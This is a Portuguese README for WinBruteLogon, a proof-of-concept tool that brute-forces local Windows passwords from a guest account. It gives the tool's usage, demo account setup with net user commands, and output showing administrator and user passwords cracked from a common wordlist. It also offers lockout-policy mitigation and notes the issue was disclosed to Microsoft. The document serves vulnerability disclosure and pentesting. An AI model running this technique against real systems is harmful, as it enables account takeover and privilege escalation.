AVISO 1: Estamos entusiasmados em anunciar que nossa ferramenta atual foi portada para uma versão do PowerShell. Isso significa que os usuários agora podem acessar e usar a ferramenta diretamente da linha de comando PowerShell, tornando -o ainda mais conveniente e eficiente de usar. Acreditamos que esta nova versão beneficiará muito nossos usuários e aprimorará sua experiência com a ferramenta. Obrigado pelo seu apoio contínuo e esperamos que você aproveite a nova versão do PowerShell: https://github.com/darkcodersc/power-brute-logon
Aviso 2: Aprendemos recentemente que a Microsoft permitiu a política de bloqueio de conta por padrão nas versões modernas e atualizadas do Windows. Essa política ajuda a proteger o sistema bloqueando uma conta após um certo número de tentativas de login com falha. Embora essa seja uma medida de segurança benéfica, ele torna ineficiente a prova de conceito (POC) nesses sistemas.
Data de lançamento: 2020-05-14
Alvo: Windows XP para a mais recente versão do Windows 10 (1909)
Fraqueza Localização: LogonUserA , LogonUserW , CreateProcessWithLogonA , CreateProcessWithLogonW
WinBruteLogon.exe -u <username> -w <wordlist_file>
type <wordlist_file> | WinBruteLogon.exe -u <username> -
O Win Brute Logon foi projetado para simular um ataque de força bruta em uma conta da Microsoft, adivinhando um grande número de combinações de senha em um curto período de tempo. Isso permite que os pentesters testem a postura de segurança de seus sistemas e avaliem suas defesas contra ataques de força bruta. A ferramenta explora a falta de um mecanismo de bloqueio de conta, que é uma fraqueza comum em muitos sistemas (antes que o bloqueio da conta seja ativado por padrão no Windows 11). Ao tentar adivinhar a senha de uma conta, a ferramenta pode ajudar os pentesters a identificar e abordar vulnerabilidades em suas medidas de segurança. Deve ser usado com responsabilidade e dentro dos limites da lei.
Para esta demonstração, configuraremos uma nova versão do Windows 10 em uma máquina virtual ou física. Quando a máquina estiver configurada, faça o login como um administrador. Em seguida, crie duas contas locais diferentes: uma conta de administrador e uma conta de usuário regular. Observe que, embora usemos a conta do convidado para a demonstração, essa prova de conceito (POC) não se limita à conta do convidado. Pode ser usado em qualquer conta ou grupo, incluindo hóspedes, usuário regular e usuário administrador.
net user darkcodersc /add
net user darkcodersc trousers (calça é a senha)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm (ozlq6qwm é a senha)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
No meu caso, trousers e ozlq6qwm estão no Seclist: https://github.com/danielmiessler/seclists/blob/master/passwords/common-credentials/10k-most-common.txt
Para iniciar a demonstração, faça logoff da conta do administrador ou reinicie a máquina e faça login na conta do convidado. Em seguida, coloque o POC executável em um local onde você tem acesso como usuário convidado.
Uso: WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-v é opcional, projete o modo detalhado.
Por padrão, o nome de domínio é o valor designado por %USERDOMAIN% Env var. Você pode especificar um nome personalizado com opção -d
darkcodersc (Administrador) Prompt (Guest)> WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
Espere alguns segundos para ver o seguinte resultado:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe (usuário regular) Prompt (Guest)> WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
Espere alguns segundos para ver o seguinte resultado:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
"Em um cenário do mundo real, se um invasor obtiver acesso a uma conta de usuário de baixo privilégio, poderá quebrar a senha de um usuário mais privilegiado e escalar seus privilégios. Para mitigar esse risco, existem algumas etapas que podem ser tomadas:
Para implementar uma política de bloqueio de segurança (que não está ativada por padrão), siga estas etapas:
Observe que a política de bloqueio não se aplica à conta do administrador. Nesse caso, a melhor proteção para a conta do administrador (se ativada) deve configurar uma senha muito complexa.
Um relatório detalhando essa fraqueza foi enviado à equipe de segurança da Microsoft. Eles devem considerar permitir a política de bloqueio da conta por padrão ".
(Atualização 2022): o bloqueio da conta finalmente ativado por padrão.